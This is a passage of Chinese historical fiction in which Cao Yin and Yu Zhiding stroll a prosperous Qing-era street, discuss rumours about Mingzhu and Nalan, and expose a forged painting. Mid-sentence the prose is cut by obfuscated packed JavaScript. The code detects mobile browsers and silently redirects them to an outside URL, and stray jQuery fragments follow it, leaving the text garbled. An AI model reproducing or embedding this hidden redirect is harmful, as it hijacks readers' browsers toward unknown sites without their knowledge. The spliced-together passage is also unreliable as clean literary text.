曹寅和禹之鼎走在大街上,感受着春季来临后的繁荣商贸。
吆喝声不断,说明小贩们的货物供应量充足,销售兴头高;讨价还价声不断,可见老百姓们生活余裕,手里拿的出钱来购置所需品,日子红红火火;车马声踢踏有力,则是盛世当今的证明,坦荡街道,人车穿梭,这派好景非安和之世道所不能有。
这些值得称赞的一幕幕场景,从另一个角度讲,就是康熙皇帝的政绩。
天子年少却有为,是大清之幸,万民之幸啊!
曹寅感慨道:“咱俩要是有机会离开京师,代皇上去江南考察民情,岂不是既乐得逍遥又能报效国家?”
想到自己是从江南来到京师的,禹之鼎对家乡反而没兴趣,“皇上想干的大事那么多,真的有时间去南巡吗?北上更契合实际吧?”
“禹兄听岔了,我是说代替皇上去民间微服私访,不是跟着皇上一起巡幸山水。伴君出行,规矩太多,压力太大,只有纳兰才做的来,你我不行。”
“没准日后皇上感念曹寅你的功绩,就安排你去江南享福度过后半辈子呢?”
“享福倒是不敢想,能够得到该有的荣华富贵、让后世子孙的日子过得好,我就心满意足了。”
“曹寅,你跟内务府的人关系好,江宁织造是内务府的御用纺织厂,明珠大人动用关系花了五万金给纳兰做私服的事情,是真的吗?”
“这我哪敢打听啊?”曹寅摇了摇头,“但是你看纳兰的私服,不是每件有每件的特点吗?可不能用钱字来论。纳兰气质是天生的,不是衣服衬他,而不是他衬衣服、让衣服都因为他而变得不一样了。”
“可是五万金不是小数目,能养活多少百姓?”禹之鼎指向街头的一些穷苦之人,“真要有人拿这事弹劾明珠大人,皇上也不好办呐!”
“话说回来,这事传来传去皇上肯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724485|138365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定早知道了,皇上没有追究,就相当于是谣言不攻自破。”
“但愿如此。”
忽然,禹之鼎奔进了一家字画店。
只见他指着老板手上的一幅画对买家道:“这不是禹之鼎的画,是别人的仿品。”
“你如何知道啊?”老板气问,“搅黄了我的生意,我可是要向官老爷告你故意滋事的!”
“我就是禹之鼎,我没画过这些。”禹之鼎往画作的左上角一指,“上面落款的印章也是假的,我压根没有用过什么‘明谙山人’的号。”
“你说你是禹之鼎,给皇上画画的禹之鼎?”买家瞬间哈哈大笑,“那些宫廷画师们都在做着一份闲差,俸禄倒是不错。怎么会来民间探画和辨真假?”
“我身上带着印章!”禹之鼎把印章拿了出来,“看清楚了,你眼前的才是禹之鼎本人,你手中的是高仿品。”
禹之鼎又对老板警告道:“仿品不该拿出来坑人!这么没良心的事情不该做